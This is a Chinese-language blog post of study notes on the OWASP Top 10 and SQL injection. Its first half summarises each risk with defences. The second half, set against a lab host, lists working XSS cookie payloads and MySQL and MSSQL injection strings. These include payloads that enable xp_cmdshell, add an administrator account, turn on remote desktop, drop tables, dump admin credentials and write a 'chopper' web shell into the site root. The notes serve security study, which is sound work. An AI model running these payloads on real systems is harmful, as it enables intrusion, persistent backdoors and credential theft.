9.web漏洞和sql注入漏洞

web漏洞和sql注入漏洞

什么是 OWASP TOP 10

OWASP(开放式Web应用程序安全项目)是一个开放的社区,由非营利组织 OWASP基金会支持的项目。对所有致力于改进应用程序安全的人士开放,旨在提高对应用程序安全性的认识。
其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结并更新Web应用程序中最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。
最重要的版本
应用程序中最严重的十大风险

owasp top 10



什么是 OWASP TOP 10

OWASP(开放式Web应用程序安全项目)是一个开放的社区,由非营利组织 OWASP基金会支持的项目。对所有致力于改进应用程序安全的人士开放,旨在提高对应用程序安全性的认识。
其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结并更新Web应用程序中最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。
最重要的版本
应用程序中最严重的十大风险


A1 注入漏洞
在 2013、2017 的版本中都是第一名,可见此漏洞的引入是多么的容易,同时也证明此漏洞的危害有多么严重。
攻击方式
利用应用程序弱点,通过恶意字符将恶意代码写入数据库,获取敏感数据或进一步在服务器执行命令。
漏洞原因
未审计的数据输入框
使用网址直接传递变量
未过滤的特殊字符
SQL 错误回显
漏洞影响
获取敏感数据或进一步在服务器执行命令接管服务器
SQL 注入
其实注入有很多类型,常见的注入包括:SQL、OS 命令、ORM、LDAP和表达式语言或者 OGNL 注入,对于应用解释器来说这些概念都是相同的。对于最常见的SQL注入,后端开发人员经常会拼接 SQL 查询;在不经意间就引入了 SQL 注入漏洞。
一个例子
select * from users where pwd='输入字符'


-- 恶意代绕过 ' or 1=1 --'
select * from uses where pwd = '' or 1=1 --'
SQL 注入工具
作为最强大的 SQL 注入工具,这里要介绍下基于 python开发的 SQLmap,SQLmap 支持对 PostgreSql,MySQL,Access,MsSql Server 等数据库的自动化注入。是在检查SQL注入漏洞方面最得力的工具。
SQL 注入防护
关闭 SQL 错误回显
前端输入字符白名单验证(长度、类型等)
对输入的特殊字符使用转义处理
SQL 操作使用 PreParedStatement
SQL 服务运行于专门的账号,并且使用最小权限
限制 SQL 服务的远程访问,只开放给特定开发人员
代码审计,最有效的检测应用程序的注入风险的方法之一
使用成熟的 waf

A2 失效的身份认证
攻击方式
攻击者利用网站应用程序中的身份认证缺陷获取高权限并进行攻击应用服务
漏洞原因
应用程序身份认证系统认证缺陷
漏洞影响
盗用账号与身份
常见设计缺陷
修改利用网络协议数据包获取使用者账号密码
网站设计不良,可直接绕过验证页面
使用者忘记注销,而让攻击者有可趁之机
弱密码
弱密码攻击
身份认证非常容易受到弱密码攻击,常用的弱密码攻击方式有
常用密码攻击 - 使用泄露的密码字典攻击
使用公司名称缩写、域名、电话号码
全数字、英文的简单密码
账号与密码相同的
不同网站、电脑、APP 使用了相同的密码
漏洞防护
网站的登录页面就使用加密连接
网站应该具体良好的权限控制与管理
网站应该具备超时注销机制

A3 敏感数据泄露
攻击方式
常见的攻击方式主要是扫描应用程序获取到敏感数据
漏洞原因
应用维护或者开发人员无意间上传敏感数据,如 github 文件泄露
敏感数据文件的权限设置错误,如网站目录下的数据库备份文件泄露
网络协议、算法本身的弱点,如 telent、ftp、md5 等
漏洞影响
应用程序、网站被修改
个人资料、公司资料泄露,被用于售卖获利
漏洞防护
对于 github 泄露,定期对仓库扫描
对于应用网站目录定期扫描
使用强壮的网络协议与算法

A4 XML 外部实体漏洞
攻击方式
当应用程序解析 XML文件时包含了对外部实体的引用,攻击者传递恶意包含 XML 代码的文件,读取指定的服务器资源。
漏洞原因
XML 协议文档本身的设计特性,可以引入外部的资源;定义 XML 文件时使用的外部实体引入功能
漏洞影响
读取服务器敏感资料,如、 /etc/password
读取应用程序源码
漏洞防护
关闭 DTD (Data Type Definition)
禁止外部实体引入

A5 无效的访问控制
攻击方式
没有检查身份,直接导致攻击者绕过权限直接访问
漏洞原因
漏洞影响
绕过路径,如未读取的参数做检查,导致路径绕过读取到敏感文件
权限提升,如未对权限做检查,导致攻击者变更权限
垂直越权,攻击者可以从普通的用户权限提升到管理员的权限访问应用程序
水平越权,攻击者可以从普通用户A的权限提升到普通用户B的权限访问应用程序
漏洞防护
对参数的白名单过滤
对权限的控制管理重新设计与限制
限制下载文件的类型

A6 安全配置错误
攻击方式
攻击者利用错误配置攻击,获取敏感数据或者提升权限
漏洞原因
开发或者维护人员设置了错误的配置,如 python 开发中对于 Django 框架在生产环境启用了 Debug 模式
漏洞影响
可让攻击者获取到敏感数据
可让攻击者提升权限,如未修改应用程序配置的默认密码,未删除应用程序安装程序目录文件等


目录遍历

漏洞防护

检查文件扩展名
重命名上传文件
控制上传文件的权限,如关闭执行权限
移除不使用的页面,如安装目录文件
移除临时文件、备份文件
不使用简单的命名规则,防止猜测
定义白名单

A7 跨站脚本攻击

攻击方式
攻击者使用恶意字符嵌入应用程序代码中并运行,盗取应用程序数据
常见攻击 payload
><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script>"><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert (vulnerable)</script>%3Cscript%3Ealert('XSS')%3C/script%3E<script>alert('XSS')</script><img src="javascript:alert('XSS')"><img src=" http://888.888.com/999.png" οnerrοr="alert('XSS')"><div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效)
漏洞原因
应用程序未对应用输入做过滤与检查,导致用户数据被当作代码执行。
漏洞影响
欺骗使用者点击嵌入了恶意网站的正常网站,获取使用得的敏感数据
盗取使用者 cookie,冒用使用者身份
漏洞防护
验证输入/接收的字符,过滤或者替换非法字符
使用白名单机制

A8 不安全的反序列化漏洞
攻击方式
攻击者利用应用程序反序列化功能,反序列化恶意对象攻击应用程序。
漏洞原因
应用程序在反序列化数据对象时,执行了攻击者传递的恶意数据对象
漏洞影响
最严重情况下,可导致远程代码执行 RCE
注入攻击
越权
漏洞防护
对数据对象签名,并作完整检查
数据对象中的数据做严格的类型检查,限制一部分恶意攻击
隔离反序列化操作环境

A9 使用含有已知漏洞的组件
攻击方式
利用应用程序技术栈中的框架、库、工具等的已知漏洞进行攻击,获取高权限或者敏感数据
漏洞原因
应用程序技术栈中使用的框架、库、工具爆出了漏洞,应用程序未能及时更新与修复
漏洞影响
敏感数据泄露
提升权限
远程代码执行
漏洞防护
及时更新、修复组件漏洞
移除不再使用的依赖组件

A10 日志记录和监控不足导致的风险
漏洞原因
对于日志记录的监控不足,造成攻击者攻击系统、应用、盗取数据等操作无法被发现和追查。
漏洞影响
无法判断安全事件的发生
无法判断和修复漏洞
导致再次被入侵
漏洞防护
启用日志监控、告警机制
启用异地监控,C/S架构的监制机制
尽可能的完整记录所有日志

前后端数据交互

![](blog/img2/屏幕截图 2025-10-20 124859.png)

sql注入

简单来说,接受相关参数未经过处理直接带入数据库查询操作
如何寻找注入点

只要是提交数据给后端就有注入点 输入输出 留言板 登陆注册
url编码
什么是URL编码?
URL编码(URL Encoding)又称百分号编码,是一种将URL中的特殊字符转换为安全传输格式的机制。它确保URL只包含允许的字符集,避免解析歧义和安全问题。

为什么需要URL编码?
想象一下这个场景:你正在构建一个搜索功能,用户输入了这样的查询:
我喜欢C++和C#编程

如果直接放入URL:

https://mantools.top/search?q=我喜欢C++和C#

问题立即出现:

空格在URL中是不允许的

+号有特殊含义(表示空格)

#是片段标识符的开始

这就是URL编码要解决的问题!

URL编码的工作原理
基本规则
URL编码遵循简单的规则:

保留字符:转换为%后跟两位十六进制数

ASCII字母数字:保持不变(a-z, A-Z, 0-9)

特殊字符:-, _, ., ~ 保持不变

空格:可以编码为%20或+

联合查询注入 
'  union select username,password from users#
mysql注释符号 --  #
--后需要一个空格 在get请求中不能出现空格 用+代替
最好使用burpsuite抓包找注入点
get请求抓包 注入时 要url编码处理 空格 符号等

GET /pikachu-master/vul/sqli/sqli_str.php?name=xx%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
sql语句两种注释符号
--   #
--后面需要跟上空格
select id,email from message;-- union select password from users;
select id,email from message;#union select password from users;
id =1 and 1=1 # 查得到的话
id=1 and 1=2 #查不到 没有防护 and 1=2当成sql语句执行 有注入点
数字型注入 
$query="select username,email from member where id=$2 or 1=1 #";

字符型注入
$query="select id,email from member where username='$xx' or 1=1#'";
搜索型注入
模糊匹配
$query="select username,id,email from member where username like '%$name%'";
注入式最好是闭合% 
$query="select username,id,email from member where username like '%xx%' or 1=1 # %'";


xx型注入
$query="select id,email from member where username=('$name')";
注入时闭合括号
  $query="select id,email from member where username=('xx') or 1=1# )";
json数据类型


{
  "name": "Apifox",
  "city": "Guangzhou"
}


JSON 数据的使用场景
JSON 的应用非常广泛。它被用于前后端之间的数据传输,也被用于存储和交换数据。在 Web 开发中,JSON 通常被用来获取来自服务器的数据。这些数据可以被使用在网页上,以便实现动态的交互和更新页面内容。同时,JSON 也被广泛应用于移动应用程序、桌面应用程序以及各种互联网服务中
后端将数据转换成JSON格式后发送给前端,或者从前端接收JSON格式的数据并存储到数据库中。

相比于其它数据格式,JSON 具有以下优势:

简洁易读:JSON 的语法比较简洁,易于阅读和编写。
解析速度快:JSON 的解析速度通常比其他数据格式更快。
兼容性好:JSON 和 JavaScript 的兼容性非常好,因为它们共享着相同的语法和数据结构。
JSON 与 XML
XML 是一种另外一种常见的数据格式(纯文本格式),也被广泛应用于数据交换。在 JSON 出现之前,大家一直用 XML 来传递数据。

但是相对于 JSON 而言,XML 规范比较复杂,JSON 的语法更加简洁,易于阅读和编写。且 JSON 的解析速度通常也比 XML 更快。同时,JSON 和 JavaScript 的兼容性非常好,因为它们共享着相同的语法和数据结构。

但是 XML 仍然是一种被广泛使用的数据格式,尤其在某些特定领域和场景下,它对于数据的描述更加严谨和准确,且支持更为复杂的数据结构和数据类型定义等。因此,在实际的编程和开发过程中,我们需要根据具体的场景和需要,选择合适的数据格式



json注入 hackerbar使用
 
json{"username":"admin"}
sql注入不同数据库
联合查询注入只用于关系数据库
sql注入提交方式
cookie post get 

注入提交方式主要根据后台处理请求方法的方式
php:$_REQUESET $_GET $_POST  $_COOKIE
$_GET 不是取get请求的数据 而是取得查询参数的数据
cookie 注入
报错注入 
传递过去的数据注入没有回显 就用报错注入

搜索框 k' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#
回显数据库版本
http header注入

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' and extractvalue(1,concat('~',database())),'','')#
 
payload获取当前数据库的库名
mysql内置变量(用于sql注入获取信息)mysql函数

内置变量
select @@version;
select CURRENT_DATE;

内置函数
select user();
select version();
数据库注入分类 
mssql mysql access 
其中access数据库要通过敏感文件扫描  找到数据库文件 看是否可以下载下来 没有特别好的办法 
mysql 5.0以前版本数据库一般用字典猜测表名是否存在 id=2 and exists(select * from users)  看是否报错
mysql 跨库查询


mssql (sql server) 对数据类型要求严格 不允许不同数据类型比较 利用这个进行报错注入 

id=1 and @@version >0 

SELECT *FROM sys.syslogins;    #用sql server managerment studio很直观看到用户密码

mssql用户

SQL Server 中,"登录名" 和 "数据库用户" 是两个不同的概念,对应不同的层级:


实例级:登录名(Login)
登录名是用于连接到 SQL Server 实例的身份标识,存在于实例的master数据库中(系统视图sys.server_principals可查看)。
作用:验证用户是否有权限连接到 SQL Server 实例(类似 "大门钥匙")。
类型包括:SQL Server 身份验证登录名(如sa)、Windows 身份验证登录名(如DOMAIN\user1)、Windows 组登录名(如BUILTIN\Administrators)等。
数据库级:数据库用户(User)
数据库用户是登录名在具体数据库中的映射,存在于每个数据库的sys.database_principals系统视图中。
作用:控制登录名在该数据库中的操作权限(类似 "房间钥匙")。
一个登录名可以在多个数据库中映射为不同的用户(也可同名),但必须显式创建(除非是sysadmin角色成员,会自动映射为dbo用户)。



sa 登录名
sa是 SQL Server 身份验证的默认系统管理员,属于sysadmin服务器角色,拥有实例的全部权限(无法删除,但可禁用)。
sysadmin 服务器角色成员
sysadmin是实例级最高权限角色,任何属于该角色的登录名,都是实例级管理员。
除了sa,还可以将其他登录名(如 Windows 管理员组、自定义登录名)添加到sysadmin角色,使其拥有与sa等同的权限。
例如:默认情况下,Windows 的本地管理员组(BUILTIN\Administrators)会被添加到sysadmin角色(可手动移除)。
其他高权限服务器角色
虽然不是 "完全管理员",但部分服务器角色拥有接近管理员的权限,例如:
serveradmin:管理服务器配置(如内存、进程);
securityadmin:管理登录名和权限(可间接提升权限);
dbcreator:创建和修改数据库。



db_name()数据库名
@@version版本信息
User_name()当前用户名
host_name()计算机名称

mssql 注入 
http://192.168.152.129:85/1.aspx?xxser=1%20and%20exists%20(select%20*%20from%20sysobjects)    查询sysobjects数据库是否存在

http://192.168.152.129:85/1.aspx?xxser=1%20and%20system_user=0   报错注入


异常详细信息: System.Data.SqlClient.SqlException: 在将 nvarchar 值 'NT AUTHORITY\IUSR' 转换成数据类型 int 时失败。    报错注入拿到的数据库名

数据库常用端口
mssql 1433
oracle 1521 
mysql 3306
mssql数据库sa权限注入

http://192.168.152.129:85/1.aspx
xxser=1%20and%201(select%20IS_SRVROLEMEMBER(%27sysadmin%27))   #报错注入 分析是否为sa权限 不报错就是sa权限

select * from admin where id=1 and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell')   
注入查看xp_cmdshell是否开启 没报错就开启

xp_cmdshell 是 SQL Server 中的一个扩展存储过程,它允许系统管理员通过操作系统命令行解释器执行给定的命令字符串,并以文本行方式返回任何输出。这使得它成为一个功能非常强大的工具,尤其在需要执行系统命令时。

 select * from admin where id=1 EXEC sp_configure 'show advanced options', 1;RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--        
 开启xp_cmdshell功能
 
 exec master..xp_cmdshell 'net user test pinohd123. /add'  exec master..xp_cmdshell 'net localgroup administrators test /add'      
 添加用户test,密码 添加test用户到管理员组
 
 
 ;exec master..xp_cmdshell 'sc config termservice start = auto' 
 通过sc命令(服务控制)将远程桌面服务(termservice)的启动类型设置为 “自动”,即系统启动时自动运行该服务。

;exec master..xp_cmdshell 'net start termservice'
立即启动远程桌面服务,使服务处于运行状态。

;exec master..xp_cmdshell 'reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v
fDenyTSConnections /t REG_DWORD /D 0X0 /F'                     
修改注册表中fDenyTSConnections键值(位于远程桌面服务相关配置路径),将其值设为0(0X0),表示允许远程桌面连接(默认1为禁止),/F参数强制覆盖现有值 允许外部连接


;exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'   


mssql 数据库dbowner权限sql注入

第一步 查看当前网站是否为db_owner 权限
and 1=(select is_member(‘db_owner’) );-- 
判断当前数据库用户是否为db_owner 权限

第二部 找代码路径 
如果testdb库中有dbo_black表 就先删除
http://192.168.152.129:85/1.aspx?xxser=1;drop table balck

create TABLE black(result varchar(7996) NULL, ID int NOT NULL IDENTITY(1,1))
删除 在创建一个表

;INSERT INTO black (result)
EXEC master..xp_cmdshell 'dir /s c:\1.aspx';
通过xp_cmdshell扩展存储搜索出路径并插入到创建的表中

and (select result from black where id=9 )>0
然后在通过错误语句爆出插入到字段的路径
     

 写木马
http://192.168.152.129:85/1.aspx?xxser=1%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20 c:\www\凡诺网站搭建\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.asp'
mssql 数据库 public 权限注入
http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select db_name())
http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select db_name(1))
http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select db_name(2))
依次输入不同的值 可以显示出不同数据库名

所有数据库名

http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select name from master..sysdatabases for xml path)
 
 
所有表名 (不断改变语句中的数字 也就是那个两个1)
http://192.168.152.129:85/1.aspx?xxser=1 and (select top 1 name from
(select top 1 name from TestDB..sysobjects where xtype=0X75 order by name) t order
by name desc)=0


所有列名

http://192.168.152.129:85/1.aspx?xxser=1 having 1=1
结果 admin.id

http://192.168.152.129:85/1.aspx?xxser=1 group by admin.id  having 1=1
结果admin.name

http://192.168.152.129:85/1.aspx?xxser=1 group by admin.id,admin.name having 1=1
结果admin.password



所有字段
/**/and/**/(select/**/top/**/1/**/isnull(cast([字段名 1]
/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([字段名 2]
/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([字段名 3]
/**/as/**/nvarchar(4000)),char(32))/**/from/**/[数据库名]
..[表名]
/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/
from/**/[数据库名]..
[表名]/**/where/**/1=1/**/group/**/by/**/id))>0/**/and/**/1=1


http://192.168.152.129:85/1.aspx?xxser=1/**/and/**/(select/**/top/**/1/**/i
snull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([na
me]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/a
s/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/
and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/
**/where/**/1=1/**/group/**/by/**/id))>0/**/and/**/1=1



手工太繁琐 建议用工具 sqlmap 穿山甲

mysql不同版本区别
5.0之后 有informaton_schema库 schemata tebles colums表 分别存放字段(schema_name #库名) (table_name #表名,table_schema #库名)  (table——schma #库名,table_name #表名,column_name #库名)

mysql5.7和mysql8.0区别
mysql5.7授权用户时可以grant一句搞定 mysql8.0需要先创建用户再授权
sql注入漏洞防护
类型判断
参数化查询 : 预处理  参数绑定
白名单过滤 对查询表进行限制
分级管理
数据加密


对输入数据检验
不动态拼接语句 执行
不用管理员连接数据库
异常信息少提示
posted @ 2026-05-11 20:46  hello422000  阅读(20)  评论(0)    收藏  举报